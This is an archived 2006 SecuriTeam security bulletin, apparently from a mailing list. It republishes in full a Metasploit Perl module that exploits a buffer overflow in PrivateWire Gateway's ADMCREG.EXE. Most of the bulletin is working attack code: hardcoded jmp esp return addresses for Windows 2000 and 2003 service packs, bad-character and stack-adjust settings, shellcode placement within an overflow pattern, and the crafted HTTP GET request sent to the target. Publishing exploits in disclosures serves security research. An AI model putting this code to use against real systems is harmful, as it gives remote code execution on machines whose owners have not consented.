

[EXPL] PrivateWire Gateway Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-10/msg00107.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 30 Oct 2006 16:00:31 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

PrivateWire Gateway Buffer Overflow (Exploit)

SUMMARY

A buffer overflow vulnerability was discovered in <http://www.arx.com/products/privatewire.php> PrivateWire software, which can be exploited by malicious people to execute arbitrary code on the vulnerable system.

DETAILS

Metasploit module:

```
##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##
```

```
##  
# From the author:  
# This file may only be distributed as part of the Metasploit Framework.
```

[EXPL] PrivateWire Gateway Buffer Overflow (Exploit)

```
# Any other use needs a written permission from the author.
##

package Msf::Exploit::privatewire_gateway_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Private Wire Gateway Buffer Overflow (win32)',
'Version' => '$Rev$',
'Authors' =>
[
'Michael Thumann <mthumann[at]ernw.de>',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'PATH' => [1, 'DATA', 'Installation Path of Privatewire','C:\Cipgw'],
},

'Payload' =>
{
'Space' => 8000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},

'Description' => Pex::Text::Freeform(qq{
This exploits a buffer overflow in the ADMCREG.EXE used
in the PrivateWire Online Registration Facility. .
}),

'Refs' =>
[
['BID', '18647'],
],

'DefaultTarget' => 4,
'Targets' => [
['Windows 2000 English SP0', 0x77e3c289], # jmp esp USER32.DLL
['Windows 2000 English SP1', 0x77e3cb4c], # jmp esp USER32.DLL
['Windows 2000 English SP2', 0x77e3af64], # jmp esp USER32.DLL
```

[EXPL] PrivateWire Gateway Buffer Overflow (Exploit)

```
['Windows 2000 English SP3', 0x77e388a7], # jmp esp USER32.DLL
['Windows 2000 English SP4', 0x77e3c256], # jmp esp USER32.DLL
['Windows 2003 English SP0/SP1', 0x77d74c94], # jmp esp USER32.DLL
['Debugging', 0x41414141], # Crash
],

'Keys' => ['privatewire'],

'DisclosureDate' => 'June 26 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}

sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $path = $self->GetVar('PATH');
my $path_offset = length($path)-8;

my $target = $self->Targets->[$target_idx];

my $pattern = Pex::Text::AlphaNumText(8192);
my $jmp = # add 25 to ecx and jmp
"\x6a\x19".
"\x58".
"\x01\xc1".
"\xff\xe1";
substr($pattern, 0, length($shellcode), $shellcode);
substr($pattern, 8156- $path_offset, 4, pack('V', $target->[1]));
substr($pattern, 8160, length($jmp), $jmp);

my $request = "GET /" . $pattern . " HTTP/1.0\r\n\r\n";

$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at
0x%.8x...", $target->[1]));

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);
```

[EXPL] PrivateWire Gateway Buffer Overflow (Exploit)

```
if ($s->IsError) {
$self->PrintLine(['*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($request);
$s->Close();
return;
}

1;
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<http://www.milw0rm.com/exploits/2680>

<http://www.milw0rm.com/exploits/2680>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.